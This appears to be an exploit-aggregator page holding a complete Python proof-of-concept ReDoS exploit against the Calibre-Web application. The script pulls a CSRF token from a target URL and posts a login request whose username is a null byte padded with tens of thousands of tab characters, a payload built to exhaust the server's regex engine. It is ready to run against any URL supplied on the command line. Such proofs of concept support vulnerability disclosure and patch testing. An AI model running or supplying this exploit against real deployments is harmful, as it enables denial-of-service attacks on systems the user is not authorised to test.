4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import logging
import signal
import sys
import requests
import re
from urllib.parse import urlparse, ParseResult


__version__ = "1.0.0"
__author__ = "mind2hex"


class Config:
    """
    Class to store parsed arguments
    """

    def __init__(self):
        parser = argparse.ArgumentParser(
            prog="./exploit.py",
            usage="./exploit.py [options]",
            description="ReDoS exploit for calibre web application.",
            epilog="https://github.com/mind2hex",
            formatter_class=argparse.RawTextHelpFormatter,
        )

        # general arguments here
        parser.add_argument(
            "-u",
            "--url",
            metavar="",
            type=self.url_type,
            required=True,
            help="Target url. REQUIRED",
        )
        parser.add_argument(
            "-p",
            "--proxy",
            metavar="",
            type=self.url_type,
            help="Proxy URL (e.g., http://127.0.0.1:8080)",
        )
        parser.add_argument(
            "-s",
            "--size",
            metavar="",
            type=int,
            help="Size of the payload (the bigger, the better) [default to 60000]",
            default=60000
        )

        # parsing arguments
        args = parser.parse_args()

        # storing arguments
        self.url   = args.url
        if args.proxy:
            self.proxy = {"https":args.proxy, "http":args.proxy}
        else:
            self.proxy = None
        self.size  = args.size
        

    def url_type(self, url: str) -> ParseResult:
        """
        Validates and parses a URL string.

        Args:
            url (str): The URL string to be validated and parsed.

        Returns:
            ParseResult: The parsed URL object.

        Raises:
            argparse.ArgumentTypeError: If the URL is not valid.
        """
        parsed_url = urlparse(url)
        if not all([parsed_url.scheme, parsed_url.netloc]):
            raise argparse.ArgumentTypeError(f"'{url}' is not a valid url.")

        return parsed_url

    def show_config(self) -> None:
        """
        Displays the current configuration settings.

        Prints all non-private and relevant attributes of the Config instance,
        excluding attributes listed in the `exclude` list.

        Returns:
            None
        """
        print("=" * 100)
        for attr, value in self.__dict__.items():
            if not attr.startswith("_"):
                print(f"[!] {attr:>13s}: {value}")

        print("=" * 100)


def signal_handler(sig, frame) -> None:
    """
    Handles termination signals to allow the program to exit gracefully.

    Args:
        sig (int): Signal number that was received.
        frame (FrameType): The current stack frame.

    Returns:
        None
    """
    logger.warning(f"Signal {sig} received from {frame}, exiting gracefully...")
    sys.exit(0)


def setup_logger() -> logging.Logger:
    """
    Configures and returns a logger instance for the script.

    The logger is set to the DEBUG level and outputs messages to the console.

    Returns:
        logging.Logger: A configured logger instance.
    """
    logger = logging.getLogger("tool_logger")
    logger.setLevel(logging.DEBUG)
    ch = logging.StreamHandler()
    ch.setLevel(logging.DEBUG)
    formatter = logging.Formatter(
        "%(asctime)s - %(name)s - %(levelname)s - %(message)s"
    )
    ch.setFormatter(formatter)
    logger.addHandler(ch)
    return logger

def main():
    """
    Main function to execute the script's core logic.

    This function acts as the entry point for the script, managing the overall flow
    and calling other functions as needed.

    Returns:
        None
    """
    session = requests.Session()
    try:
        response = session.get(config.url.geturl(), proxies=config.proxy)
        csrf_token = re.search(r'name="csrf_token" value="([^"]+)"', response.text).group(1)
        logger.info(f"csrf_token obtained: {csrf_token[:40]}")
        payload = '\x00' + ('\t' * config.size) + '\t\x00'
        body = {
            "csrf_token": csrf_token,
            "username": payload,
            "password": "EAT THIS"
        }

        logger.info("Sending payload")
        session.post(config.url.geturl() + "/login", data=body, proxies=config.proxy)
        logger.info("Request sent and response received")

    except AttributeError:
        logger.error(f"No csrf_token was found")
        exit(1)    
        
    except Exception as e:
        logger.error(f"An unexpected error ocurred: {e}")
        exit(1)


# logger to show events in different levels
logger = setup_logger()

# signal for program termination and progran interruptions.
signal.signal(signal.SIGTERM, signal_handler)
signal.signal(signal.SIGINT, signal_handler)

# initializating config here to be accessible globally
config = Config()
config.show_config()

if __name__ == "__main__":
    main()